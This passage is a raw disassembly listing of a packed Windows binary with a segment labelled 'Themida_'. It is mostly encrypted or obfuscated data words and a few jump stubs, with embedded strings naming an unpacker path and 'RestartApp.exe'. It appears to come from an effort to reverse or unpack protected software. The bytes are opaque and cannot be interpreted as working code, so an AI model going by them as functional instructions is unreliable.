72246B2Ch, 0FD17E260h, 0D3139F08h, 7A0AB89Ch, 7820D803h dd 42C6E000h, 213AC951h, 0A24A3E55h, 3E4C1A40h, 0B8E70037h dd 8AD8DB20h, 3A6100A1h, 7EAD654Bh, 1C00930Dh, 0A3C93301h dd 0E3D26430h, 0EA204C50h, 0E4FA07A5h, 0D049C204h, 2E664722h dd 80253B3Ch, 0DDC9E6BAh, 0B04375D3h, 7AE70E6Ch, 7B8263B8h dd 4C3969Fh, 2823A1B8h dd 427E4816h, 0E999B005h, 8E8C5440h, 14C6BC1h, 3EE7D869h dd 0C856EF38h, 870B3B94h, 3B6A19Fh, 0F30978h, 7059BBF0h dd 54DA337Fh, 0B7320400h, 86559396h, 80F099D9h, 0F7E08C8Eh dd 57EC279Bh, 0CF59900h, 0FCDEA03Ah, 84225839h, 30340216h dd 0BFE71FA4h, 2C7DF17Dh, 0FAB9E800h, 0DB6F4D0Ah, 0B81D486Eh dd 91A5D09h, 0E0172301h, 7A343230h, 1F329F48h, 2A14777Dh dd 5E7F040Ch, 0D0817A1Ch, 7EE5F768h, 0A9001072h, 13D6E70Dh dd 1D260903h, 840F106Ch, 0C05900CCh, 50926E4Eh, 39745041h dd 0A1000751h, 6B49BBE2h, 2501CB26h, 0B3286450h, 0CC62F9E0h dd 0A5DC850Ch, 590F2239h, 0B54A117Fh, 0E7D100BCh, 0CCE25CECh dd 38C7B089h, 4B823271h, 0F781227Ch, 10A850C1h, 1E0A7F30h dd 940190CBh, 0A40B8471h, 64247250h, 8CF540E0h, 5DE562h dd 4ED11059h, 0C0C33D9Eh, 40F43716h, 1D75CC20h, 0D8811F31h dd 71E74299h, 0C4400F3Eh, 0C86051C6h, 0A489C4FCh, 3CB111h dd 45D93739h, 9200A79Eh, 43485DEAh, 1235CCh, 0D72CA16Dh dd 0A08459DEh, 38289091h, 7056410Bh, 0D01D8A1Fh, 0B044D180h dd 5D5A6EFh, 0F6155224h, 0DAC501FFh, 48DF84D2h, 893E779Ch dd 7C044C34h, 800009FFh, 3B658CDh, 9B7A90Fh, 2808C020h dd 8055AA75h, 0ABDE2A71h, 5A008DA5h, 9F6D1108h, 0D7FD7Bh dd 0C799D12Bh, 1F566E09h, 0B682F899h, 20AA4A15h, 0FBD97D1Eh dd 2196900h, 10E93B25h, 84FC0CCCh, 4B91E2C7h, 6DAB18A0h dd 0DBF3500h, 0AF5B0430h, 0D05209D6h, 9848CBE1h, 0F87753F3h dd 0AB683800h, 9CD27135h, 4ADB1846h, 57E549A7h, 0DFE7FF00h dd 679D559Ah, 0E041525Dh, 0A14017Bh, 0AA6A2C86h, 3859935Eh dd 0CAFA9100h, 34E7ACFh, 9D834EBh, 26A82F3Eh, 4D0BFC9Fh dd 1F21AFh, 3383271Eh, 0EB9E072Eh, 0A03A7F7Bh, 0FE8D478Ah dd 0FD7EE2F8h, 271CBC00h, 0D42AD64Fh, 0FB4A00C9h, 3E138A4Bh dd 80FFB623h, 0CF754F48h, 18CC2E62h, 6154208Bh, 2B1D16BEh dd 19807249h, 48F5B1C2h, 135E00E7h, 392658D1h, 0B67FF69Dh dd 791549C0h, 2A5ADAD2h, 3A304A2Ah, 0FEF39Ah, 352CA022h dd 60210F86h, 0B2B169C0h, 0AAB8DCh, 48C4A922h, 6BDAA8BBh dd 37D48806h, 30490E9Dh, 66D11DBEh, 360EA1C4h, 0E0DDA9FDh dd 862172C0h, 900E3BDFh, 8181129Eh, 0B717E822h, 9941801Eh dd 74E17C5Ch, 0DA500C48h, 0AF5138BCh, 60845601h, 862DE318h dd 0C01D20E4h, 8F45EAA1h, 3372296Fh, 8D00667Eh, 0DFA1B3CFh dd 1EA6A9D8h, 9F10C265h, 0E08640C0h, 5AA311E1h, 343541C0h dd 7FA54CC7h, 220600DAh, 468BD333h, 81DC15A8h, 0B0350287h dd 0FDD0890h, 95A300E6h, 4520B570h, 6A7FFC42h, 90604FB8h dd 0CC8C3C50h, 1C00122h, 0C295D4CFh, 248143A0h, 850E507Bh dd 60066187h, 38FB6B35h, 0B0406353h, 0F2D1FD45h, 9C8BC474h dd 5E12BF1Eh, 0F8C03977h, 0E0E2369h, 80C5852Eh, 65E0ADE0h dd 0EA3E494Ah, 8C468EB7h, 0D84DA0C2h, 60182F2h, 0A11C884Fh dd 5E30D10Bh, 54E45139h, 0B9100081h, 0ED3B6DC7h, 4A006443h dd 0BCBEA4F9h, 30881C89h, 1030286Fh, 9CA86BBFh, 0DCA924B7h dd 1D72F8A4h, 0E8E42916h, 8A90BE00h, 55321h, 0B36C3512h dd 0A676CE2Ch, 24002E7Ch, 0AACFF39Fh, 3B0A811h, 3D09AD51h dd 0A10017BBh, 7BC02F91h, 784EF8h, 1A7F87AFh, 9BB6326Bh dd 0D0CECF37h, 574007B4h, 0D734DF10h, 0A9E47473h, 861F2EF0h dd 0C3AD4CBh, 0B96220D0h, 0F30006Ah, 5C1182Ch, 0D304D8BFh dd 5194634Bh, 23670C82h, 0E1000DB6h, 1FA8CAA2h, 3D33C20Eh dd 9B13C8C7h, 0C05F1E91h, 0ACBD656Eh, 81540647h, 0F8A10194h dd 6022BBh, 1FD87C37h, 0F82FB8E3h, 0AE19C016h, 0DCBE976Ah dd 0CEB7550Eh, 5601DF31h, 0CFE8834Bh, 12B1B70h, 0E079A313h dd 0EC89ADABh, 2148F2D1h, 3F78E60h, 0D1A1ECFEh, 81802584h dd 0AA9CE85h, 6F002FDDh, 1817F2DEh, 182EB234h, 29D1BB22h dd 0E091CE3Eh, 10A23Dh, 0C78C3BC0h, 41231798h, 9FA80A00h dd 1C48619Dh, 0E962619Eh, 4964C010h, 4D20DE98h, 1ED02DC7h dd 4214C3h, 6BC56C39h, 0B403FACCh, 218527AEh, 4F390069h dd 511943Bh, 130162F2h, 22B6FFAFh, 0C5F882F7h, 87F301BEh dd 2F4D85DFh, 0B5D88271h, 403D0CCBh, 1353A598h, 25D4385Bh dd 2EC40524h, 0F00800B6h, 180A5C46h, 0BE58E13Fh, 1516826Ch dd 0A0265F32h, 596D4784h, 353704B9h, 80481996h, 0D7C224E4h dd 26EE3900h, 0BFF9A053h, 6BD500E8h, 0CCA6CE86h, 2160B6D0h dd 8999EA69h, 5E690083h, 447D4D7Bh, 8800BCC3h, 9547B5E7h dd 1881DE96h, 10BBD849h, 43E074DAh, 87865702h, 0C011C253h dd 2485365Ah, 4120991Ch, 504EAA10h, 0E8064698h, 93082D63h dd 20C1292Fh, 0A42100A8h, 7BB14E5Ah, 0CF4A7300h, 0C0DCABFAh dd 162B0002h, 0E3CC0F98h, 4E480A80h, 0F56500C0h, 68C1CE5Dh dd 25EF0C2Fh, 7B593A5Fh, 5446A00h, 566C9E70h, 0D51400EAh dd 3E67D4E6h, 28016B54h, 5B168739h, 0B030ACFCh, 0B5CCA0C5h dd 22351843h, 3E25991Ch, 4AFF5C0Fh, 5AD60F4h, 0A34503h dd 0F0C898C2h, 0B191F113h, 58888D01h, 42690822h, 6DC2B441h dd 0D4D82FC9h, 702E6315h, 5E89D091h, 4BA98134h, 925B6CC3h dd 5A4DFB40h, 0BB9A00F7h, 0AE069E2Bh, 5202908Ah, 22311048h dd 2944C87h, 0E12B94BAh, 8443F75h, 0AC7B9501h, 52459779h dd 0F594D840h, 46E63B86h, 4D80DC58h, 0B80C3C16h, 0FF12F400h dd 95352BDDh, 2CF00678h, 512A9022h, 0B87FC230h, 7B9A502h dd 0B08C37A6h, 7A214C5Eh, 414CE200h, 4D6C662Dh, 2E94005Bh dd 842FA297h, 64EE0D1Fh, 300026B8h, 7712CD39h, 5421A6F6h dd 9BFB063h, 0F5CBA399h, 408C3207h, 0B6C80EA1h, 501249h dd 97D68AFDh, 51140Ah, 928672F7h, 0D2E2758Dh, 4640B300h dd 0A75391ACh, 504EE631h, 1B505Fh, 80DDB645h, 0E5627C61h dd 9AB0894Eh, 11F80787h, 613C5EEEh, 63086609h, 3DE03D58h dd 0D93000A8h, 7361042Bh, 0C07CFBh, 0E9141178h, 0F1417787h dd 2C768E01h, 0BE222533h, 2EFC9C49h, 90FE64Ch, 62FCF7A3h dd 522CCC01h, 8FF42066h, 1224898h, 70A52227h, 6B722h, 0A0141364h dd 0CAC57B65h, 0FB6EFD00h, 2A3A8C03h, 7098385Ch, 0AD31F504h dd 19ACC820h, 25B7B07h, 0A4D0A041h, 4877355Dh, 5607D010h dd 49AB469Dh, 0A1C97800h, 53B8ACBBh, 0B98ECC91h, 75027F5h dd 1CF89D40h, 0FCDC5069h, 0EFC13AC8h, 4070E118h, 0A7341175h dd 0F4803959h, 308EED8h, 1ACFA662h, 0E1003BBEh, 42F6088h dd 0C061217Bh, 6DD00931h, 0A4002032h, 0BA4F520Dh, 292F89ACh dd 12A49D22h, 0B8480A75h, 154C5ACh, 81C54EDEh, 37FC7024h dd 1940E0E2h, 0CE33004Fh, 5F13FF14h, 634825DAh, 51440584h dd 0C41FCCE8h, 80EB3A8Bh, 0AB2F1AE4h, 5DBB09A7h, 0B010B821h dd 4507F4F0h, 75CF647Dh, 0F97080BBh, 3284B7C1h, 1E70A402h dd 4C305621h, 0F6005823h, 6446EC10h, 0DF008681h, 0FFE8E2BCh dd 5FC6B29h, 0C2163CEDh, 0F7A88CACh, 0B7C9B61Dh, 6D9C7740h dd 0E2A809C4h, 48A900DFh, 6BE72BEEh, 5E004119h, 0CB759287h dd 0C5F5665h, 14BC2468h, 1D777F49h, 44C87200h, 0DA9CA025h dd 31EB00D5h, 0D7C14A9Eh, 6B0430E1h, 48CBE09Bh, 491478C7h dd 25572082h, 583BC0F9h, 61024ABDh, 0C5711CEAh, 2CE687h dd 0DDF554C8h dd 0E499DC6Ah, 0B5CB3E00h, 68938E1Dh, 0E98C05BEh, 0C88A1CC9h dd 0C600F174h, 6FC0AEE0h, 1E64CBA1h, 8072352Ch, 19BFCF29h dd 6B885A20h, 32F100CDh, 8E87D7C4h, 3813DA35h, 44004A0Ch dd 0F478221Eh, 44A090ADh, 7F182906h, 0B8D0AAE0h, 218E110Bh dd 113D0955h, 0D9EF03F5h, 0A0C88C3Fh, 96D73B32h, 9C99ECBCh dd 23C9E8F4h, 22A00384h, 0D1BA989Bh, 39943887h, 0A700101Fh dd 89D21C79h, 0B099795h, 0A0AC214Ah, 0E15E7BFCh, 3E3F37AFh dd 0E15A039h, 6E007764h, 0A8EC813Dh, 98C6B509h, 8EE8061Ch dd 0D10ABC2Fh, 85759A00h, 8DF03981h, 1E2904EEh, 809BB911h dd 2B9949E7h, 0EFC0F5Ch, 4C535ED6h, 0E66941h, 7CE5FB9Fh dd 11A7C09Eh, 384A252Ch, 0C0802363h, 0CCDBCh, 0B0F239A3h dd 112D9855h, 0F1A4891Dh, 87ACEB80h, 0C016BC27h, 0BB250591h dd 7100FF9Eh, 0F25A5761h, 41E7002h, 9DB2A726h, 0C9C4821Ah dd 120090E6h, 0F5163F2h, 0E21CA647h, 0DF320FCEh, 6C0258FDh dd 0C0603348h, 9C9921B0h, 855DC280h, 1FA7A9F8h, 0E110964h dd 0E142576Fh, 0B080A177h, 0B6C62875h, 1481F49h, 0F892F16Dh dd 0EB5E5Ah, 0CB3DDA49h, 53CF07CAh, 0FA67EE06h, 4407092h dd 2E4090E3h, 0FDB4B0F6h, 0E7F223Eh, 80B549C5h, 5C29D2CAh dd 4038964Ch, 0D996C89Ah, 10E59700h, 1D60F371h, 4C3AE085h dd 0E8497103h, 2E6FF480h, 7E02CCF5h, 3E0E3A75h, 3C5882E2h dd 5624E0C0h, 3C6748C4h, 0FEEF0D01h, 0D8D74572h, 204C5703h dd 0E2C28094h, 0EA234E8Fh, 0C5601D4h, 19F2D8A6h, 300BC5A0h dd 0CC012D68h, 309C5347h, 8C229F1Ch, 888A2E12h, 587E3170h dd 3006B71h, 947F1FC3h, 780C0E8Dh, 877B0076h, 6357EE95h dd 0B730D052h, 0D9243908h, 0E2110030h, 76A104AEh, 56672154h dd 0A010B0A1h, 7075250h, 0F6F8E8B2h, 828FD487h, 20C0AEEDh dd 0E33037C6h, 0A6AF51B4h, 80989973h, 0A7CBDE49h, 1290137Eh dd 0FBBE1600h, 0CD4770B3h, 0BD35011Bh, 2548A7Ah, 0FE984289h dd 0DA00A471h, 0AEC94DCFh, 0F78E00A6h, 1F37CBD1h, 90926079h dd 0F1D85100h, 0F38759C0h, 0ABFFED0h, 99B1C68h, 8090A994h dd 6731E62Ah, 5C00DAACh, 9D3B9A2Fh, 136D0ADh, 0A5D22375h dd 2D2155A9h, 2F1D00CCh, 4C709EC3h, 7C560184h, 7F8ECDB7h dd 0A830204Bh, 82B88839h, 374857A5h, 0EF8519Dh, 6FA002C0h dd 1DD5385Ah, 587019C1h, 0A8703516h, 1CC5254h, 60FBFFFFh dd 0 db 0 ; --------------------------------------------------------------------------- loc_583441: ; CODE XREF: Themida_:loc_515265j ; DATA XREF: Themida_:loc_515086o jmp loc_58698A ; --------------------------------------------------------------------------- dw 9C52h dd 7F20h, 12h dup(0) dd 0EB940000h, 59377C90h, 0B8h, 0EB940000h, 7C90h, 0 dd 0BC170000h, 0FFFEh, 8EE40000h, 0B1h, 0FFFF0000h, 0FFF4h dd 0 dd 0FFB00000h, 1D3h, 2 dup(0) dd 0EB940000h, 7C90h, 7 dup(0) dd 0E80000h, 6 dup(0) dd 48770000h, 3876h, 2 dup(0) dd 0B8010000h, 0DEF9h, 0 dd 8D8D0000h, 66FDh, 0B0D0000h, 0BBh, 0 dd 0DFD20000h, 60h, 2 dup(0) dd 4F2E0000h, 5Ch, 10000h, 4 dup(0) dd 78280000h, 5Fh, 2 dup(0) dd 0A2400000h, 146CFFFFh, 836Fh, 3 dup(0) dd 0F4AE0000h, 0FFA3h, 9F350000h, 5139h, 0 dd 0ED9A0000h, 5Bh, 3 dup(0) dd 30930000h, 0B19Dh, 3 dup(0) dd 7D00000h, 0ABE90000h, 0FF44h, 5190000h, 43BBh, 290000h dd 2 dup(0) dd 625E0000h, 53B1h, 0 dd 4FE60000h, 0E892h, 5 dup(0) dd 53AA0000h, 843Ah, 0 dd 0A3D40000h, 0AFCBh, 4 dup(0) dd 0A210026Eh, 3442h, 0BA750000h, 79E07A1h, 0FFFFh, 9C740000h dd 7C80h, 27h dup(0) dd 64B90000h, 837Fh, 2 dup(0) dd 42FD0000h, 0ED9A005Fh, 5Bh, 0D8DE0000h, 5Ch, 2 dup(0) dd 57D50000h, 3F0F7ED3h, 0B7h, 7 dup(0) dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0) dd 7D080000h, 5Bh, 0F4F37E41h, 0FF44h, 9D730000h, 557Ch dd 4 dup(0) dd 10000h, 3 dup(0) dd 0CA3E0000h, 69A9h, 2 dup(0) dd 0FFFF0000h, 0FFFFh, 0B0D0000h, 0BBh, 96A0000h, 5Bh dd 0C8680000h, 5Ch, 0 dd 4E6E0000h, 58h, 0D6A0000h, 5Bh, 0 dd 0B80000h, 0B000000h, 0C20374C0h, 448B0018h, 0E8530C24h dd 0 ; --------------------------------------------------------------------------- pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0B1FA37h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 4 dd 12h dup(0) dd 942E0000h, 5Ch, 3 dup(0) dd 6F100000h, 25Dh, 254h, 8 dup(0) dd 0EB900000h, 8 dup(0) dd 180F0000h, 0B1h, 0E2900000h, 0A944h, 2 dup(0) dd 0F39A0000h, 6 dup(0) dd 56430000h, 10h dup(0) dd 30DF0000h, 0A9C5h, 0 dd 28780000h, 0B4h, 6 dup(0) dd 7D10000h, 0D9000000h, 1702h, 0Ah dup(0) dd 22C60000h, 5Ch, 0Bh dup(0) dd 0EB090000h, 0FFBBh, 4 dup(0) dd 91BB0000h, 17Fh, 3 dup(0) dd 0BDDF0000h, 66FDh, 4 dup(0) dd 6EB20000h, 0E81B005Bh, 0EB947D42h, 65527C90h, 72617473h dd 70704174h, 6578652Eh, 56510000h, 2 dup(0) dd 26Eh, 3 dup(0) dd 0BA750000h, 7A1h, 6 dup(0) dd 0C41B0000h, 77DFh, 3D5F0000h, 5Eh, 5 dup(0) dd 2CFA0000h, 0BE04h, 2D8A0000h, 5Fh, 4 dup(0) dd 22h, 11h dup(0) dd 7C80h, 2 dup(0) dd 0CFE20000h, 0FE9Dh, 3 dup(0) dd 11DA0000h, 7C81h, 30440000h, 67h dup(0) dd 0DCE80000h, 0AEA1DDA7h, 0B1h, 8 dup(0) dd 0FA030000h, 0B1h, 3 dup(0) dd 0EB940000h, 7C90h, 3 dup(0) dd 0A63C76B4h, 0B5D6005Dh, 4 dup(0) dd 93FE0000h, 0FF7DFFFFh, 75B507E1h, 2 dup(0) dd 87230000h, 0B1h, 77DDh, 4 dup(0) dd 0F9C0000h, 40000h, 56430000h, 0 dd 0B6C80000h, 60h, 0FFFF0000h, 0FFFFh, 0 dd 230000h, 5Ch, 3 dup(0) dd 342D0000h, 0C2h, 0Dh dup(0) dd 14F40000h, 8E517C82h, 0B1h, 4 dup(0) dd 0CBD30000h, 0FF3Dh, 7 dup(0) public start start dd 2 dup(0) dd 6E0F0000h, 25Dh, 0 dd 6DAB0000h, 7F09h, 0F0000000h, 4, 2Bh dup(0) dd 0DA440000h, 4 dup(0) dd 13970000h, 0EA61h, 4 dup(0) dd 58090000h, 5Fh, 0F0130000h, 52B1h, 0 dd 16010000h, 87F4h, 4 dup(0) dd 0AA230000h, 0C01Dh, 1A400000h, 0B1h, 3 dup(0) dd 0B520000h, 5Ch, 0B4CF0000h, 7C80h, 0DA440000h, 0C246h dd 2 dup(0) dd 0F9200000h, 7CEDh, 0EE180000h, 0A47C90h, 0FFFF0000h dd 0FFFFh, 0 dd 0EB940000h, 7C90h, 0 dd 62DF0000h, 1E40000h, 8 dup(0) dd 0B4FE0000h, 339A748Dh, 5Fh, 24900000h, 8 dup(0) dd 0D9750000h, 771Fh, 5 dup(0) dd 0DFE40000h, 0A8ADFFA3h, 35CA7E41h, 0FFA3h, 0Dh dup(0) dd 0EAA20000h, 5Dh, 10000h, 0 dd 35C50000h, 0E72FFA3h, 5Bh, 8D8D0000h, 85EDh, 49E00000h dd 5Fh, 0 dd 57520000h, 0C96A005Bh, 60h, 6 dup(0) dd 342D0000h, 0C2h, 4 dup(0) dd 0C80000h, 3 dup(0) dd 0EB940000h, 7C90h, 0 dd 0FFFF0000h, 0FFE00000h, 12h, 52C90000h, 61h, 0B0D0000h dd 0BBh, 0B4F10000h, 0EB38005Fh, 5Dh, 2 dup(0) dd 0CDDA0000h, 7C81h, 34C20000h, 5Fh, 5 dup(0) dd 0A1260000h, 5Bh, 0 dd 0CC0000h, 0EB940000h, 7C90h, 2 dup(0) dd 0D59C0000h, 0F3B1h, 31E50000h, 0B7h, 0Dh dup(0) dd 56430000h, 8 dup(0) dd 0FE800000h, 12h, 1A440000h, 0EB9400B1h, 7C90h, 0Ah dup(0) dd 630A0000h, 0F2h, 1A240000h, 7C80h, 7 dup(0) dd 0FF7D0000h, 7E1h, 6 dup(0) dd 10000h, 8 dup(0) dd 0EB940000h, 18420012h, 0B1h, 0Ah dup(0) dd 190000h, 4 dup(0) dd 0EB940000h, 0B8177C90h, 0FFFFh, 2 dup(0) dd 5190000h, 43BBh, 6E00000h, 0A14E8312h, 5Bh, 3 dup(0) dd 0B0D0000h, 0BBh, 18A37C80h, 2335h, 1A400000h, 4E5B00B1h dd 76B4h, 2 dup(0) dd 0FA370000h, 0B1h, 2 dup(0) dd 81C30000h, 1FEDh, 2 dup(0) dd 0FE7C0000h, 12h, 3 dup(0) dd 15100000h, 76F2h, 5 dup(0) dd 0D8DE0000h, 5Ch, 3 dup(0) dd 4DF00000h, 961Fh, 3 dup(0) dd 0B00000h, 5 dup(0) dd 0A390000h, 0FFBFh, 50140000h, 0EB940011h, 7C90h, 8 dup(0) dd 0B0D0000h, 0BBh, 0EB940000h, 0F87C90h, 0B7h, 4 dup(0) dd 10000h, 0F3E40000h, 0DDB3h, 7 dup(0) dd 57A20000h, 0AC2505h, 2A09FFEDh, 7C81h, 9Bh dup(0) dd 0FA030000h, 0B1h, 2 dup(0) dd 9DA20000h, 83AC4Eh, 0F81Eh, 0 dd 5FD0000h, 0FF4Eh, 342D0000h, 0C2h, 3 dup(0) dd 77760000h, 0FF7D0058h, 62DF07E1h, 2 dup(0) dd 0EB940000h, 56C7C90h, 0FE96h, 4 dup(0) dd 40h, 2 dup(0) dd 0B71A0000h, 0CCD0FF44h, 3FC0h, 0 dd 8D8D0000h, 0CE66FDh, 6 dup(0) dd 91780000h, 0B6h, 3 dup(0) dd 14900000h, 51E0h, 3 dup(0) dd 1840000h, 0FFEDh, 3 dup(0) dd 0AFE80000h, 5Fh, 0 dd 2D390000h, 3403h, 620000h, 0 dd 9EA50000h, 5Bh, 0 dd 3700000h, 0DA390000h, 7 dup(0) dd 0BE7D0000h, 0B5FCh, 6 dup(0) dd 7170000h, 0FE95h, 6 dup(0) dd 0B16B0270h, 16Bh, 0ED9A0000h, 5Bh, 3 dup(0) dd 21210000h, 2121h, 5 dup(0) dd 146C0000h, 836Fh, 0 dd 0B0D0000h, 0BBh, 5 dup(0) dd 7E10000h, 3D170060h, 0E840058h, 2 dup(0) dd 4B80000h, 21EDCDA3h, 5Fh, 0 dd 0B0D0000h, 0BBh, 3 dup(0) dd 0AFD90000h, 0ACCD43FFh, 0C31h, 0 dd 8D8D0000h, 24ADh, 0 dd 180F0000h, 0B1h, 0A8AD0000h, 5CE77E41h, 0 dd 0CBD30000h, 0A0FFFFh, 0 dd 2C0000h, 254h, 0AE940000h, 0C9F41010h, 5Eh, 6 dup(0) dd 980000h, 0 dd 6C5B0000h, 0E7076F3h, 64B0005Dh, 0 dd 2EFA0000h, 5Dh, 2 dup(0) dd 5DFC0000h, 9FE2h, 3E0000h, 0B1h, 0 dd 30440000h, 900000h, 0 dd 0F7DB0000h, 0D4B351E5h, 849Ah, 0 dd 66B50000h, 4A2h, 4 dup(0) dd 0B0D0000h, 0BBh, 4 dup(0) dd 3C0000h, 7C80h, 0EB940000h, 7C90h, 3 dup(0) dd 97EE0000h, 14AEh, 0Ah dup(0) dd 230Eh, 26Dh, 2 dup(0) dd 68E40000h, 94172A22h, 0B1h, 5 dup(0) dd 0E0F30000h, 7CC4h, 4 dup(0) dd 57CF0000h, 3D161739h, 58h, 0C6750000h, 5Dh, 0 dd 0B520000h, 5Ch, 0 dd 1D660000h, 0B18Dh, 2 dup(0) dd 486A0000h, 23C6h, 3 dup(0) dd 0B7E90000h, 10h, 0FF7D0000h, 7E1h, 0 dd 10000h, 0EB940000h, 7C90h, 2 dup(0) dd 92B00000h, 0FFFFh, 3 dup(0) dd 17ED0000h, 0BA1742B5h, 0FFFFh, 28D90000h, 1A7Ch, 0 dd 9E600000h, 180E7C80h, 9BBD7C80h, 5Dh, 2 dup(0) dd 0FA260000h, 6607h, 0 dd 0E8140000h, 5Ch, 0AA480000h, 0F3E6h, 0CA3E0000h, 0C4E169A9h dd 0F1F4h, 3 dup(0) dd 40000h, 0C43B0000h, 4618h, 2 dup(0) dd 4AF20000h, 0BD227C81h, 0FFA7h, 2 dup(0) dd 8010000h, 8B0D840Fh, 0B4h, 3 dup(0) dd 0B5D60000h, 10000h, 772A0000h, 82B6h, 0B8h dup(0) dd 0FF170000h, 0FFFBh, 3 dup(0) dd 9F350000h, 5139h, 0B4CF0000h, 0BA7EE8DDh, 0F9F6h, 5 dup(0) dd 0FFFF0000h, 0FFFFh, 40760000h, 710h, 0BCB10000h, 9A90h dd 2 dup(0) dd 35DA0000h, 58h, 7 dup(0) dd 0EB940000h, 20007C90h, 11h, 2 dup(0) dd 39580000h, 77Bh, 0 dd 0CF310000h, 0EB19h, 2 dup(0) dd 0B5080000h, 0B1h, 3 dup(0) dd 48280000h, 14h, 0B520000h, 1CF7005Ch, 63E100B4h, 0EB94EA3Dh dd 0B06D7C90h, 5Bh, 3 dup(0) dd 0FB710000h, 0F1E17C90h, 60h, 2 dup(0) dd 0DDF90000h, 7C90h, 0 dd 200A0000h, 5Dh, 55BE0000h, 6 dup(0) dd 6F100000h, 25Dh, 0 dd 0B520000h, 5Ch, 2D3F0000h, 830Eh, 9F260000h, 7347h dd 11h dup(0) dd 2130000h, 6DD400B7h, 25Dh, 0 dd 5ADF0000h, 1E69546Bh, 0B7h, 0Eh dup(0) dd 0FFF00000h, 12h, 5 dup(0) dd 20E60000h, 5Fh, 73730000h, 58h, 0F50C0000h, 0FFA3h dd 6 dup(0) dd 26Fh, 230000h, 0BEFF0000h, 3 dup(0) dd 0EF260000h, 0A5C400B8h, 0FFF6h, 2 dup(0) dd 59740000h, 8655h, 4 dup(0) dd 230000h, 58h, 0 dd 0EB940000h, 7C90h, 4 dup(0) dd 0C7710000h, 76CFh, 2 dup(0) dd 0C40000h, 2D390000h, 3403h, 3 dup(0) dd 216B0000h, 668Fh, 12h dup(0) dd 0F8900000h, 5Ch, 0 dd 78830000h, 0D43577DDh, 0C9A5h, 4C890000h, 0C993h, 0 align 8 dd 0A8h, 0 dd 0B57A0000h, 3F93h, 9C5200C1h, 0DAF47F20h, 1DA8h, 0FFFF0000h dd 6DF3h, 3 dup(0) dd 0B66E0000h, 7F3Fh, 30DF0000h, 0A9C5h, 2C4E0000h, 4B94h dd 97860000h, 9BBh, 2 dup(0) dd 0EB940000h, 7C90h, 5 dup(0) dd 4FE60000h, 6854E892h, 64696D65h, 61h, 1Bh dup(0) dd 30DF0000h, 0A9C5h, 2 dup(0) dd 0EBE70000h, 0C47E77DDh, 15EDh, 0Eh dup(0) dd 1E40000h, 5 dup(0) dd 0A770000h, 7C81h, 3 dup(0) dd 0B23000B1h, 0FDECh, 2 dup(0) dd 5D740000h, 0FFFFh, 15h dup(0) dd 0EB940000h, 7C90h, 0Dh dup(0) dd 0B0D0000h, 91EC00BBh, 0B8FFFFh, 0 dd 10000h, 3 dup(0) dd 6E0F0000h, 9CF6025Dh, 0FF0Dh, 0 dd 0FF540000h, 12h, 2 dup(0) dd 342D0000h, 0C2h, 7 dup(0) dd 0DA440000h, 35DAC246h, 9B470058h, 7C80h, 0 dd 45D20000h, 0FFA1h, 3 dup(0) dd offset dword_4E8EAC+17154h dd 0FE6Ch, 0 dd 20000000h, 2 dup(0) dd 0D31F0000h, 0EB940000h, 7C90h, 7 dup(0) dd 4FE60000h, 0C070h, 4 dup(0) dd 6EF00000h, 25Dh, 9 dup(0) dd 88400000h, 0A2A3h, 0FCAD24ADh, 0B3h, 7 dup(0) dd 0A7h, 2 dup(0) dd 9B3E0000h, 5Dh, 0EB940000h, 7C90h, 0 dd 0FFB00000h, 143h, 0DA230000h, 73CFh, 2 dup(0) dd 10000000h, 40h, 0 dd 2CCE0000h, 4B94h, 0Bh dup(0) dd 0ED00000h, 0B1h, 5 dup(0) dd 1050000h, 0A28h, 0AA870000h, 0CFB2h, 6D330000h, 5Bh dd 4 dup(0) dd 0AFE0000h, 0BBh, 6BF00000h, 77DDh, 4 dup(0) dd 61180000h, 5Ch, 0 dd 22C60000h, 5Ch, 0Ch dup(0) dd 5B710000h, 10AFh, 49B00000h, 0FF9Fh, 0 dd 146C0000h, 836Fh, 3 dup(0) dd 0C680000h, 0F489h, 0Ah dup(0) dd 375C0000h, 0CCF80016h, 5Fh, 3 dup(0) dd 65C60000h, 6143h, 2 dup(0) dd 0FB060000h, 0FFA4414Fh, 56DE0012h, 0EDE5005Ch, 77DDh dd 3 dup(0) dd 0C00000h, 4 dup(0) dd 30000000h, 51h, 0Ch dup(0) dd 0EB940000h, 7C90h, 0DA440000h, 3A29C246h, 558B7B25h dd 5Fh, 3 dup(0) dd 0AAA10000h, 0B1h, 0 dd 0EB940000h, 7C90h, 5 dup(0) dd 0E2020000h, 158Bh, 77000000h, 0 dd 8FAC0000h, 0FFFFh, 9 dup(0) dd 0BB4E0000h, 0A8005Ch, 8 dup(0) dd 6F230000h, 58h, 0Dh dup(0) dd 30DF0000h, 1A9C5h, 7 dup(0) dd 0EA280000h, 5Ch, 7 dup(0) dd 28D80000h, 6DEh, 3F580000h, 342D7C86h, 8 dup(0) dd 0EE5A0000h, 802877DDh, 4 dup(0) dd 306C0000h, 0Dh, 8D8D0000h, 0FFFF005Fh, 0FFFFh, 41330000h dd 1A63h, 0 dd 0AC0000h, 0FFEDh, 0A8700000h, 5Fh, 0Bh dup(0) dd 36290000h, 0CC39h, 0 dd 41810000h, 929Bh, 0 dd 80280000h, 3 dup(0) dd 834F0000h, 0DCE9h, 2 dup(0) dd 261C0000h, 6 dup(0) dd 35ED0000h, 0FFE3h, 8 dup(0) dd 0B0D0000h, 0BBh, 0 dd 25FD0000h, 6 dup(0) dd 24930000h, 0B2h, 0Dh dup(0) dd 9C3E0000h, 8B32005Dh, 0B4h, 4 dup(0) dd 29180000h, 0B1h, 0D5570000h, 1E68h, 0FFB00000h, 180E0223h dd 7C80h, 2 dup(0) dd 0B350000h, 1210h, 6 dup(0) dd 79770000h, 146C0001h, 836Fh, 0 dd 0B520000h, 5Ch, 0 dd 3E0000h, 0B1h, 4 dup(0) dd 37EC0000h, 0B1h, 4 dup(0) dd 0FFFF0000h, 0FFFFh, 0 dd 1A440000h, 0B1h, 1FF70000h, 0F936005Ch, 0B610h, 3 dup(0) dd 1D770000h, 7C80h, 0FFB00000h, 342D01F3h, 0C2h, 2 dup(0) dd 0ADA00000h, 7C80h, 7 dup(0) dd 0ABDE0000h, 180F7C80h, 0B1h, 0 dd 0FB200000h, 9E401AD9h, 6DF48420h, 1920025Dh, 0B1h, 1Ch dup(0) dd 0BC0000h, 5 dup(0) dd 0A0FE0000h, 5Bh, 0 dd 30DF0000h, 